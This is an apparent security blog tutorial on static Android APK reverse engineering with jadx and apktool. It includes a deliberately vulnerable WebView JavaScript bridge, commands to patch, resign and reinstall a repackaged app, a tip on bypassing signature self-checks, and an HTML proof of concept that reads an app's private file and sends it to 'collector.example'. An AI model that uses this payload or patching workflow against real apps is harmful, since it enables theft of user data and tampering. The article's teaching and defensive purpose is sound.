Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Reverse engineering an Android APK is the backbone of mobile app security review: it is how an assessor finds hardcoded secrets, insecure IPC surfaces, weak cryptography, and dangerous WebView configurations without source code access. An APK is a ZIP containing compiled Dalvik bytecode (classes.dex), resources (res/, resources.arsc), native libraries (lib/), and the binary AndroidManifest.xml. Three tools cover almost every static analysis need: jadx decompiles DEX bytecode back to readable, near-Java source; apktool disassembles it to smali — a human-readable, line-per-bytecode-instruction assembly language for the Dalvik/ART VM — while also unpacking resources and the manifest to editable XML, and can repackage everything back into an installable APK.
The two workflows serve different purposes. jadx gives you *understanding* — pseudo-Java is far easier to read logic in, and its cross-reference and search features make finding a specific API call (an addJavascriptInterface, a hardcoded key, a broken TrustManager) fast. apktool/smali gives you *editing power* — because Dalvik bytecode round-trips losslessly through smali, you can patch a single instruction (flip a conditional, change a return value, remove a check) and rebuild a working APK, which jadx’s Java-like output generally cannot do reliably. A competent static review moves between both.
Attack Prerequisites
Static reverse engineering of an Android app requires only the APK and local tooling — no device access or app cooperation is needed for this phase:
- The target APK — pulled from an installed device (
adb shell pm paththenadb pull), downloaded from an APK mirror, or extracted from an app bundle. - jadx / jadx-gui for decompilation and source browsing.
- apktool for smali disassembly, resource extraction, and rebuilding.
apksigner/zipalign(Android SDK build-tools) to resign and align a patched APK so it will install.- Optionally Frida for confirming static findings dynamically, and a disassembler such as Ghidra for any logic pushed into native (JNI) libraries.
How It Works
Dalvik/ART bytecode is register-based, not stack-based like the JVM, and jadx’s job is to lift that low-level representation back to structured, high-level Java syntax — a lossy but usually very readable process. It fails or produces garbled output on methods that use unusual control flow, certain obfuscator tricks, or bytecode patterns the decompiler cannot resolve; those are exactly the methods worth reading in smali instead, since smali always round-trips correctly (it is a direct textual representation of the bytecode, not a reconstruction). apktool’s d (decode) command unpacks the manifest and res/ into human-editable XML and the DEX into one .smali file per class, organized by package path exactly like source directories.
Most production apps run R8/ProGuard at build time, which renames classes, methods, and fields to short, meaningless identifiers (a, b, c), inlines and removes unused code, and can flatten control flow. This defeats naive “read the whole app” approaches but not targeted search: renamed identifiers still call the same Android framework APIs under their real (non-obfuscated, since they’re external) names, so searching decompiled sources for framework calls — addJavascriptInterface, Cipher.getInstance, MessageDigest, Runtime.exec, loadUrl — reliably locates interesting code regardless of identifier renaming. Heavier obfuscation adds string encryption (constants decrypted at runtime instead of stored as plaintext), reflection to hide method calls from static analysis, and sometimes commercial packers that unpack real code only at runtime — at which point static analysis alone is no longer sufficient and dynamic instrumentation (Frida) becomes necessary.
Native code (lib/<abi>/libfoo.so) is invisible to both jadx and apktool beyond seeing the System.loadLibrary() call and the native method declarations; JNI bridges are a common place to hide sensitive logic (crypto keys, licensing checks, root-detection routines) specifically because it raises the tooling bar from “decompile a DEX” to “disassemble ARM/x86 in Ghidra or IDA,” which is a meaningfully higher barrier for casual analysis.
Vulnerable Code / Configuration
A common finding surfaced by exactly this workflow — grep the jadx output for addJavascriptInterface — is a WebView that exposes a native Java object to any page it loads, with methods annotated @JavascriptInterface callable from arbitrary JavaScript:
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
// VULNERABLE: bridge exposed to every page the WebView loads,
// including http:// content and any redirect target.
webView.addJavascriptInterface(new JsBridge(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url")); // attacker-influenced
}
}
public class JsBridge {
Context ctx;
JsBridge(Context c) { ctx = c; }
@JavascriptInterface
public String readFile(String path) {
// reachable from JS with zero restriction on `path`
return FileUtils.readAsString(new File(path));
}
}
JavaCombined with the loaded URL being attacker-influenced (from an Intent extra, as in the deep-link case), this chain lets any page the WebView is coaxed into loading call Android.readFile(...) directly from JavaScript, reading arbitrary files the app process can access.
Walkthrough / Exploitation
Unpack resources and smali, and decompile in parallel:
apktool d target.apk -o target_apktool
jadx -d target_jadx target.apk
BashSearch for the dangerous bridge and its callers across both representations:
grep -R "addJavascriptInterface" target_jadx/sources
grep -R "invoke-virtual.*addJavascriptInterface" target_apktool/smali*/ -l
BashTo confirm exploitability, patch the smali directly — for example neutralizing a path-restriction check the decompiled Java hints at but jadx renders ambiguously — then rebuild, sign, and install:
# edit target_apktool/smali/com/target/app/JsBridge.smali by hand
apktool b target_apktool -o patched.apk
keytool -genkey -v -keystore debug.keystore -alias debug \
-keyalg RSA -keysize 2048 -validity 10000
apksigner sign --ks debug.keystore --out patched-signed.apk patched.apk
adb install -r patched-signed.apk
BashThen drive the WebView to a page under attacker control (a local HTTP server or a hosted PoC) that calls the bridge from JavaScript, confirming native code reachability from web content:
<script>
// Runs in the WebView's page context; Android object is injected.
fetch('https://collector.example/leak?data=' +
encodeURIComponent(Android.readFile('/data/data/com.target.app/shared_prefs/app.xml')));
</script>
HTMLNote: jadx failing to decompile a specific method cleanly (shown as an error comment or raw bytecode dump in the output) is a signal, not a dead end — read the corresponding
.smalifile for that class instead; it is always complete and correct even when the decompiler struggles.
Opsec: When rebuilding with apktool, resource IDs and signing certificates change; many apps perform a signature self-check (comparing the running APK’s signing certificate against a hardcoded expected value) specifically to detect this kind of repackaging, so expect to find and patch that check too on hardened targets.
Detection and Defense
From the defender/developer side, the goal is not to make reversing impossible — it never is — but to raise cost and remove genuinely dangerous patterns:
- Never call
addJavascriptInterfaceon a WebView that can load attacker-influenced or non-HTTPS content; if a bridge is required, restrict it withWebViewClient.shouldOverrideUrlLoadingorigin checks and load only packaged, trusted local content. - Enable R8 full-mode minification and obfuscation in release builds (
isMinifyEnabled = true, aggressive ProGuard rules) to raise the bar above trivial identifier-preserving decompilation. - Keep secrets and licensing/anti-tamper logic out of Java/Kotlin and, where genuinely necessary, in native code reviewed with the same rigor — not as a silver bullet, but because it forces a costlier toolchain (Ghidra/IDA) on an analyst.
- Add a signing-certificate self-check so a resigned, repackaged APK (the natural output of an apktool-based patch) fails to run or degrades gracefully.
- Treat static analysis output as a checklist for code review, not just an attacker’s toolkit — running jadx/apktool against your own release build is a cheap, high-value internal QA step.
Real-World Impact
jadx and apktool are the two most widely used free tools in mobile app security assessments and in public research disclosing hardcoded API keys, broken WebView bridges, and weak cryptography in shipped Android apps — their ubiquity is exactly why the WebView/JS-bridge pattern above remains one of the most frequently reported mobile findings across bug bounty programs and penetration test reports.
Conclusion
jadx and apktool cover the two halves of practical Android reverse engineering — read with jadx, edit with smali via apktool — and together they turn an opaque APK into a fully auditable artifact regardless of ProGuard/R8 renaming. The recurring lesson from what this workflow finds is unchanged from a decade of mobile assessments: dangerous WebView bridges, hardcoded secrets, and client-side-only trust decisions are still common, and they are almost always found by exactly the grep-then-read process described here.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments